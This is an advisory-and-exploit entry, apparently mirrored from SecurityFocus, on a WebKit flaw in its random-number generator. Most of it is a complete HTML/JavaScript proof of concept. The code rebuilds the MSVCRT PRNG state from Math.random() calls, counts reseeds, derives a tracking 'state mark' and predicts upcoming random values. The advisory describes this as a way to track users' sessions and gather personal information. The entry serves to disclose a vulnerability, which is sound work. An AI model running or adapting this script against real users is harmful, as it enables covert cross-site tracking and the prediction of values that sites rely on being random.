source: https://www.securityfocus.com/bid/44952/info WebKit is prone to a random-number-generator weakness. Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage. Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks. NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it. <html> <body> <script> document.write("Browser: "+navigator.userAgent); </script> <br> <br> <script> interval=200; iid=null; function setint() { interval=document.getElementById('x').value; clearInterval(iid); iid=setInterval("recalc()",interval); return; } </script> <form> Polling interval:<br> Use low values (e.g. 200) for PRNG state mark demo and reseed counting<br> Use high values (e.g. 5000) for PRNG prediction demo<br> <input type="text" id="x" value="200"><br> <input type="button" value="Change" onClick="setint();"> </form> Total MSVCRT PRNG invocations (since this page load): <div id="total"></div><br> MSVCRT PRNG invocations since last reseed: <div id="current"></div><br> MSVCRT PRNG reseed count (since this page load): <div id="reseed"></div><br> MSVCRT PRNG state mark: <div id="mark"></div><br> Current Math.random(): <div id="math_random"></div><br> Calculated next Math.random() values: <div id="next"></div><br> <script> var total_counter=0; var current_counter=0; var reseed_counter=0; var state=0; var mark=0; function adv(x) { return (214013*x+2531011) & 0x7FFFFFFF; } function update_counters(reseed) { document.getElementById("total").innerText=total_counter; document.getElementById("current").innerText=current_counter; document.getElementById("reseed").innerText=reseed_counter; document.getElementById("mark").innerText=mark; m=Math.random(); state=adv(state); state2=adv(state); state2=adv(state2); document.getElementById("math_random").innerText=m; document.getElementById("next").innerText= ((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30 ); state2=adv(state2); state2=adv(state2); document.getElementById("next").innerText+=" "+ ((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30 ); } function find_mark(st) { for (;;) { if ((st & 0x3FF)==0) { return st>>10; } st=adv(st); } } function recalc() { var rr=new Array(); rr[0]=Math.random()*Math.pow(2,30); // Try to resync with the PRNG. // Allow up to 1000 iterations from previous sync for (k=0;k<1000;k++) { state=adv(state); if ((((state>>16)&0x7FFF)==(rr[0]&0x7FFF)) && (((adv(state)>>16)&0x7FFF)==(rr[0]>>15))) { state=adv(state); total_counter+=k; current_counter+=k; mark=find_mark(state); update_counters(false); return; } } rr[1]=Math.random()*Math.pow(2,30); var r=new Array(); for (i=0;i<2;i++) { r.push(rr[i] & 0x7FFF); r.push(rr[i]>>15); } for (v=0;v<(1<<16);v++) { state=(r[0]<<16)|v; for (j=1;j<4;j++) { state=adv(state); if (((state>>16)&0x7FFF)!=r[j]) { break; } } if (j==4) { reseed_counter++; current_counter=0; mark=find_mark(state); update_counters(true); return; } } } recalc(); setint(); </script> </body> </html>